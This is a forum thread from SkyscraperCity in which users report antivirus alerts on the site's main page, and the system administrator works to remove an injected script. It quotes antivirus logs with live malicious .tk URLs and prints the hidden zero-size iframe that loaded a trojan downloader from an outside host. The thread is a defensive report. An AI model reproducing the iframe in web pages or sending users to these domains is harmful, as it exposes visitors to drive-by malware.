daily menu » rate the banner | guess the city | one on oneforums map | privacy policy (aug.2, 2013) | DMCA policy | flipboard magazine

Go Back   SkyscraperCity > Fun Forums > About the forums

About the forums » Testing | Archive

Reply
 
Thread Tools
Old March 25th, 2012, 04:28 PM   #1
Andre_L
Registered User
 
Join Date: Jul 2010
Posts: 25
Likes (Received): 0

Ssc infected ?

Hello, this started today, whenever i load the ssc main page i get a warning from my AV suite about

(i placed the raw report from my av inside the code tag to avoid someone accidentally clicking the link, dont paste them into your browser unless you want to get infected)
Code:
3/25/2012 2:03:06 PM	Firefox	Denied: Trojan-Downloader.JS.Expack.ia	Yes	http://rtetregfdf.tk/main.php?page=a9b483aad1a897fa//main

and

3/25/2012 1:56:48 PM	Firefox	Denied: http://vsuk.org.in/index.php?src=54&surl=rtetregfdf.tk&sport=80&suri=/main.php%3fpage=a9b483aad1a897fa (analysis using the database of suspicious URLs)	Yes	http://vsuk.org.in/index.php?src=54&surl=rtetregfdf.tk&sport=80&suri=/main.php%3fpage=a9b483aad1a897fa	URL found in the database


i am 100% this is not an issue on my end (like a virus, etc) i can take a screenshot and even record a small video of it happening if necessary...this IS coming from ssc, somewhere.

hopefully this is cleared up and looked into before users (possibly ?) get infected.

edit

you can find this in an iframe on line 2545 of the HTML code of the ssc main page

Code:
		<div class="smallfont">For those who enjoy big city traveling<iframe src="http://rtetregfdf.tk/main.php?page=a9b483aad1a897fa" width="0" height="0"></iframe></div>

Last edited by Andre_L; March 25th, 2012 at 05:09 PM.
Andre_L no está en línea   Reply With Quote
Old March 25th, 2012, 05:57 PM   #2
Suburbanist
on the road
 
Suburbanist's Avatar
 
Join Date: Dec 2009
Posts: 25,045
Likes (Received): 15808

Same here... Index page blocked by my anti-malware software.
__________________
"Explanations exist; they have existed for all time; there is always a well-known solution to every human problem — neat, plausible, and wrong.."
Suburbanist no está en línea   Reply With Quote
Old March 25th, 2012, 07:39 PM   #3
RiSHi
Registered User
 
RiSHi's Avatar
 
Join Date: May 2008
Location: Raipur CG
Posts: 274
Likes (Received): 129

+1 ya same in my PC with avast anti virus .....



Uploaded with ImageShack.us



Uploaded with ImageShack.us
__________________

To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.



To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.

Last edited by RiSHi; March 25th, 2012 at 07:45 PM.
RiSHi está en línea ahora   Reply With Quote
Old March 25th, 2012, 08:17 PM   #4
DaiTengu
SSC System Administrator
 
DaiTengu's Avatar
 
Join Date: Sep 2006
Location: Appleton
Posts: 2,687
Likes (Received): 682

got it. thanks guys.
__________________
Human beings, who are almost unique in having the ability to learn from the experience of others, are also remarkable for their apparent disinclination to do so.
- Douglas Adams


To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
|
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
|
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
|
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
DaiTengu no está en línea   Reply With Quote
Old March 26th, 2012, 02:30 AM   #5
Nexis
Dark Wolf
 
Nexis's Avatar
 
Join Date: Aug 2007
Location: Along the Rails of North Jersey..
Posts: 14,862
Likes (Received): 15119

I got that 2 days ago , it seems to be moving around the site....
__________________

To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
< 54,100+ Photos of Urban Renewal , Infrastructure , Food and Nature in the Northeastern US
Visit the Reorganized
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.


To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.

Visit the
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
Nexis no está en línea   Reply With Quote
Old March 26th, 2012, 08:09 AM   #6
DaiTengu
SSC System Administrator
 
DaiTengu's Avatar
 
Join Date: Sep 2006
Location: Appleton
Posts: 2,687
Likes (Received): 682

any links you find with it, please give them to me immediately.
__________________
Human beings, who are almost unique in having the ability to learn from the experience of others, are also remarkable for their apparent disinclination to do so.
- Douglas Adams


To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
|
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
|
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
|
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
DaiTengu no está en línea   Reply With Quote
Old March 26th, 2012, 07:23 PM   #7
mediar
Digital.Creation
 
mediar's Avatar
 
Join Date: Dec 2008
Location: Sofia
Posts: 3,818
Likes (Received): 4941

My Chrome a moment ago:

Code:
Unsafe JavaScript attempt to access frame with URL http://www.skyscrapercity.com/index.php from frame with URL http://trrtertd554.tk/main.php?page=a9b483aad1a897fa.
__________________
#IgnoreBATE_JORKO

НЕ ИЗПОЛЗВАЙТЕ GOOGLE-СКИ САЙТОВЕ ЗА ХОСТИНГ НА СНИМКИ
mediar no está en línea   Reply With Quote
Old March 26th, 2012, 07:26 PM   #8
specialdj
Registered User
 
Join Date: Jan 2007
Location: Saint-Louis / Basel
Posts: 145
Likes (Received): 10

AVG also today, for the first time on SSC, told me that a threat has been blocked.
specialdj no está en línea   Reply With Quote
Old March 26th, 2012, 07:28 PM   #9
joshsam
JR
 
joshsam's Avatar
 
Join Date: Jul 2009
Location: Sint-Truiden
Posts: 6,699
Likes (Received): 4334

Yep have it on the main page right know, can't copy the link.
__________________
Ceci n'est pas un pays, een bananenrepubliek ja!
joshsam no está en línea   Reply With Quote
Old March 26th, 2012, 07:34 PM   #10
murlee
ВANNED
 
murlee's Avatar
 
Join Date: Nov 2009
Location: Chennai/Ahmedabad
Posts: 8,742
Likes (Received): 5016

Yes.. Its on the main page now. My Avast just now blocked it.
murlee no está en línea   Reply With Quote
Old March 26th, 2012, 07:52 PM   #11
DaiTengu
SSC System Administrator
 
DaiTengu's Avatar
 
Join Date: Sep 2006
Location: Appleton
Posts: 2,687
Likes (Received): 682

damnit, I can't leave my house for 10 minutes :argh:
__________________
Human beings, who are almost unique in having the ability to learn from the experience of others, are also remarkable for their apparent disinclination to do so.
- Douglas Adams


To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
|
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
|
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
|
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
DaiTengu no está en línea   Reply With Quote
Old March 26th, 2012, 07:52 PM   #12
Marcanadian
Moderator
 
Marcanadian's Avatar
 
Join Date: May 2005
Location: Toronto
Posts: 12,963
Likes (Received): 2314

Just got it on the main page:

__________________

To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
-
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
Marcanadian no está en línea   Reply With Quote
Old March 26th, 2012, 07:54 PM   #13
joshsam
JR
 
joshsam's Avatar
 
Join Date: Jul 2009
Location: Sint-Truiden
Posts: 6,699
Likes (Received): 4334

It's gone for me now. DaiTengu fixed it allready!
__________________
Ceci n'est pas un pays, een bananenrepubliek ja!
joshsam no está en línea   Reply With Quote
Old March 26th, 2012, 09:06 PM   #14
DaiTengu
SSC System Administrator
 
DaiTengu's Avatar
 
Join Date: Sep 2006
Location: Appleton
Posts: 2,687
Likes (Received): 682

Quote:
Originally Posted by joshsam View Post
It's gone for me now. DaiTengu fixed it allready!
the task of finding out where the injection comes from in the first place is ... difficult
__________________
Human beings, who are almost unique in having the ability to learn from the experience of others, are also remarkable for their apparent disinclination to do so.
- Douglas Adams


To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
|
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
|
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
|
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
DaiTengu no está en línea   Reply With Quote
Old March 26th, 2012, 10:06 PM   #15
Kiboko
hubba hubba
 
Kiboko's Avatar
 
Join Date: Nov 2011
Posts: 1,462
Likes (Received): 320

I also got a trojan today after visiting the mainpage
Kiboko no está en línea   Reply With Quote
Old March 27th, 2012, 12:50 AM   #16
Marcanadian
Moderator
 
Marcanadian's Avatar
 
Join Date: May 2005
Location: Toronto
Posts: 12,963
Likes (Received): 2314

Seems to be okay now. Thanks DaiTengu!
__________________

To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
-
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
Marcanadian no está en línea   Reply With Quote
Old March 29th, 2012, 01:43 PM   #17
Ion Cannon
Registered User
 
Ion Cannon's Avatar
 
Join Date: Mar 2012
Posts: 186
Likes (Received): 16

Seems to be back on the main page again.
Ion Cannon no está en línea   Reply With Quote
Old March 29th, 2012, 03:01 PM   #18
Jan
High there, what's up!
 
Jan's Avatar
 
Join Date: Jul 2002
Location: SkyscraperCity
Posts: 24,596
Likes (Received): 10299

^ got it, thank for pointing out
Jan no está en línea   Reply With Quote
Old March 29th, 2012, 07:50 PM   #19
hypnotoad
█ ▇ ▃ ▁ ▁ ▄ ▅ █
 
hypnotoad's Avatar
 
Join Date: Dec 2010
Location: Ёνεиτ Ηοrιζōи
Posts: 1,011
Likes (Received): 719

My computer got infected some days ago and my antivirus couldn't
detect/clean it. I *think* that happened while I was browsing the SSC
pages, I'm not sure though. The virus didn't delete anything, all
it did was to set a different value to every single option in Windows 7,
resulting in a completely blank windows interface, where even windows
task manager couldn't be launched. I got rid of that thing couple of
hours later, and after installing a new anti-malware program.
hypnotoad no está en línea   Reply With Quote
Old March 30th, 2012, 03:53 PM   #20
xJamaax
#Hass
 
xJamaax's Avatar
 
Join Date: Apr 2010
Posts: 15,894
Likes (Received): 2777

I have been getting a pop up to open or save forumdisplay.php. I dont know whether this is a problem with SSC or my PC.
xJamaax está en línea ahora   Reply With Quote
Reply

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off



All times are GMT +2. The time now is 09:04 AM. • styleid: 14


Powered by vBulletin® Version 3.8.8 Beta 1
Copyright ©2000 - 2016, vBulletin Solutions, Inc.
Feedback Buttons provided by Advanced Post Thanks / Like (Pro) - vBulletin Mods & Addons Copyright © 2016 DragonByte Technologies Ltd.

vBulletin Optimisation provided by vB Optimise (Pro) - vBulletin Mods & Addons Copyright © 2016 DragonByte Technologies Ltd.

SkyscraperCity ☆ In Urbanity We trust ☆ about us | privacy policy | DMCA policy

Hosted by Blacksun, dedicated to this site too!
Forum server management by DaiTengu